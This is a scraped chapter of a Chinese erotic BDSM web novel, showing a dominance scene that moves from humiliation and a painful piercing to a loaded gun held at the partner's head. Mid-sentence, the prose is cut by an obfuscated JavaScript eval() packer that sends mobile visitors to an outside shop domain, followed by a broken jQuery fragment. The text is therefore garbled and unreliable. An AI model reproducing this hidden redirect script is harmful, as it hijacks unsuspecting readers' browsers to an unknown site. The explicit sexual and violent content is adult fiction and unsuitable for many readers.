文趣网 > 都市小说 > 误攻病娇新帝GB > 27. 终不似(十)
    虞秧离开了陈祥记,直接打道回府。

    自言玉笙登堂入室以来,这是他第一次没有像小娇夫一样出来迎接。

    事实上他根本不在府中。老管家送晚膳进来的时候,虞秧问了一句,才知道她的小宠物一早就出去了,就连平时他也没有乖乖待在家里,不过是等她上值后再离开,然后在她下值前回家而已。

    ……呵。

    还真是一条青竹蛇啊。

    晚饭才吃了一半,青竹蛇便回来了。谢临渊手上提着大包小包的东西,一进来便通通撂在桌上,走到虞秧身后环抱住她的腰,整颗头埋在她的后颈处一通乱嗦。

    虞秧难得纵容地任他乱蹭一通,然后非常平静地说了句:“我之前不知道你这么喜欢往外面跑。”

    谢临渊抱得更紧了,既像一只黏人的大狗狗,又像一条准备把猎物缠住让它动弹不得再一口吞吃入腹的大毒蛇。

    “我给主人买东西回来了。”谢临渊答非所问,声音柔媚魅惑,带着刻意的讨好。

    “是吗?”虞秧轻轻一笑,谢临渊从后面看不见的那双眼睛却没有半分笑意。“打开给我看看。”

    谢临渊的脸刷的一下红了起来。

    第一样东西是一件紫色的织锦深衣,虞秧没有怎么带行李上京,这些日子穿的不是官袍就是军服,倒是他有心了给自己造了一件日常穿的便服。

    深衣看起来出奇的合身,上面还绣了并不含蓄的牡丹祥纹,仿佛刻意要和美人蛇胸前那幅蛇戏牡丹图凑成一对似的。

    ……司马昭之心,路人皆知。

    虞秧摸了摸他的头,没有什么感情地嗯了一声,听在谢临渊耳中却已是莫大的嘉许,兴奋不已地直往她的手上蹭。

    “还有别的呢?”

    谢临渊脸上红晕又深了一分。

    第二样东西是条狗尾巴。

    似乎是五年前他戴着诱惑过她的那一条,又似乎是全新的一条。虞秧只知道顶端那块玉似乎比之前要大得多,上面还有一些凹凹凸凸的纹样。

    “你倒是会享受。”虞秧冷笑。“衣服脱了,自己戴起来给我看看。”

    谢临渊眉眼低垂,带着恰到好处的羞耻和温顺:“是,主人。”

    戴上尾巴的那一刻,还恰到好处地发出了一声微微沙哑的吟唱。

    戴上尾巴后,他便顺势像狗一样跪在地上,双手曲起放在眼前,扮足了一只乖狗的样子。

    虞秧不为所动。

    “还有呢?”

    接下来是一个小小的铃铛,精巧细致的金铃连着一个钩子,谢临渊把铃铛双手奉上,昂起脖子突出了自己颈间的项圈,轻轻说道:“主人给狗狗在项圈上戴上铃铛,就不怕狗狗走丢了。”

    虞秧似笑非笑地看着他:“走丢了就走丢了,主人还可以养很多只狗。”

    谢临渊眸光一沉,垂下的眼帘掩住了那一刻狠戾得可怖的眼神。主人不会有别的狗了,这一点他可以保证。

    虞秧随手把铃铛放在一旁,眼角瞥到了最后一样东西。

    那是一个油纸包。

    她伸手打开了油纸包,里面装着几块陌生的核桃酥,说是陌生,因为那并不是陈祥记的款式。

    虞秧很轻很轻地笑了一声。然后她漫不经心地说了一句:“我今天经过陈祥记,发现他们把门关了,人也不知去向。”

    谢临渊愣了一下,半晌才啊的一声,仿佛他刚刚才知道一样。

    然后他小心翼翼地满是讨好地说:“奴家也是今天发现了城南这家如意斋,听说他们的核桃酥比陈祥记的还要好吃,主人要不要试一块?”

    虞秧微笑着说:“小狗先替主人试一块吧。”

    谢临渊呆呆地点了点头,他心里总是有种凉凉的预感,却无法从虞秧那张笑脸看出一点端倪。

    虞秧从油纸包里拿起一块核桃酥,递到他的面前,忽然手上一松,核桃酥直接掉到地上。

    谢临渊立时反应过来,正要拾起那块核桃酥,虞秧的脚已经踩了下去,圆圆的酥饼一下子变得粉身碎骨。

    偏偏她还一脸爱怜地笑着问他:“想吃么,乖阿言?”

    谢临渊的喉结滚动了一下。

    “……想。”他的声音沙哑得不成样子,还有一丝兴奋的颤抖。

    “想要什么?”虞秧明知故问。

    谢临渊仰望着她:“想吃核桃酥。”

    “想吃哪一块,说清楚一点。”虞秧像恶魔一样,用最温柔的声音诱导着他。

    谢临渊感觉自己的呼吸都快要停顿,全身上下酥酥麻麻的,控制不住地颤栗不止。

    他发烧了。

    “想吃……主人脚下的那一块。”

    虞秧拍了拍他的脸。“整句说。”

    谢临渊深深吸了一口气:“小狗想吃主人脚下的核桃酥。”

    “啧啧啧,”虞秧笑了起来,“你真贱啊。”

    “不过我觉得你的样子还可以更贱一点。”

    她拿起台面上的小金铃,另一只手移到他身前那幅蛇戏牡丹图上,开始□□起那颗牡丹花蕊来。

    没多久花蕊便被玩得红艳欲滴,谢临渊闭着眼睛享受着,忽听虞秧笑了一声。

    然后是一下锥心的痛。

    铃铛挂在了牡丹花蕊上。

    “这东西买得不错,小狗挺有眼光的。”虞秧笑着命令:“摇两下来听听。”

    谢临渊忍着痛,左右摇摆了两下。

    虞秧摸了摸他的头:“主人准小狗吃了,来吧。”

    踩着核桃酥的脚微微抬起,鞋底却有意无意地正对着他。“小狗不要浪费食物,知道么?”

    美人眼眶红红的,身前的牡丹也是红红的,整个人由内到外像被火灼烧一样难受。但他还是伸出了舌头,像青竹蛇那样红红的长长的舌头,把鞋底的饼屑一点一点地卷了进去。

    虞秧居高临下地看着地上自甘下贱的美人:“小狗今天怎么这么听话。”声音平静得近乎漠然,既不是嘲讽,也没有好奇,就只是很平淡地陈述一个事实而已。

    满室寂静只有谢临渊舔着饼屑的声音,虞秧间中用脚勾一下牡丹花蕊,他的身子便剧烈地抖动一下,小金铃叮叮当当地乱响一通。

    “可惜了。”虞秧又没头没尾地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717259|206353||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说了一句。

    谢临渊舔食的动作一下子停了下来。“什么可惜?”

    虞秧轻轻一笑,没有回答他的话:“言玉笙,你还有没有什么是瞒着我的?”

    谢临渊抬起头,目光纯粹不带一丝杂质:“没有,主人。”

    虞秧嗯了一声,谢临渊看不出来她到底是信了还是没信。

    鞋底和地板都被清理得一尘不染,谢临渊抬首仰望上方的主人,眼里满是对主人嘉许的恳求。

    虞秧很轻很轻地笑了声。

    “好吃吗?”

    “好……好吃。”谢临渊爽得鼻息渐重,身体止不住地颤抖,金铃又响起叮叮当当的声音。

    “比陈祥记的好吃?”

    “比陈祥记的好吃,主人。”他柔声应道。

    虞秧摇摇头:“言玉笙,你错了。”她少有地叫了他的全名。“我这辈子会喜欢很多东西,但认准了最喜欢的,就怎样也不会变。明白了吗?”

    谢临渊眸中光芒一点一点地暗了下去。虞秧句句不提那个人,可句句说的都是那个人。她是要告诉自己:不要妄想改变她的想法。

    一句口舌之快你发现得了,主人,那后面整盘布局呢,你又会不会一叶障目?

    “奴家明白。”他低眉垂首,温顺地答。

    虞秧弯低身子,拽住他脖子上的项圈逼他抬起头来。她的脸上没有半分笑意,眼中也没有半点温度。

    “那我再问你一次,陈青他——去了哪里?”

    “主人,”谢临渊变脸变得比翻书还快,霎眼间已经是一副泪眼汪汪的可怜样子。“奴家又怎会知道?”

    虞秧皮笑肉不笑地看着他,看得他心底发怵。半晌,她才淡淡说道:“你没有问我陈青是谁。”

    谢临渊又变了一次脸,从脆弱变得慌张起来:“我……主人,我真的……”

    虞秧放开握着项圈的手,重新站了起来,轻轻叹了一口气:“算了吧,不能一心对待主人的狗,我还是不要了。”

    她拍了拍身上衣服的皱褶,正要往门口的方向走去,小腿忽然被一下抱住。

    “放手。”

    谢临渊没有放手,反而抱得更紧了,仿佛溺水的人正在紧紧攥着水面上的最后一条浮木一样。

    “求求你,主人……我真的什么也不知道,求求你不要赶我走,奴家做什么都可以,主人要怎样玩奴家都可以的……”

    虞秧眸光一暗,停下脚步,冷冷地看着软成一摊匍匐在自己脚下的蛇蝎美人。

    “真的怎么玩都可以?”

    谢临渊死命地点头,死命地往她身上蹭,小金铃叮叮当当地一通乱响。

    “玩死奴也可以。”

    “是吗?”虞秧没有什么意思地反问了一下,忽然走到一旁的武器架前,拿起了自己那把三管鸟铳。

    谢临渊的呼吸一下子凝滞。

    虞秧慢条斯理地给鸟铳上了膛,把铳柄架在肩上,铳口直直对准他的太阳穴。

    谢临渊闭上了眼睛。

    却不是因为恐惧,而是为了不让虞秧看见他眼中此刻飞快转过的所有算计。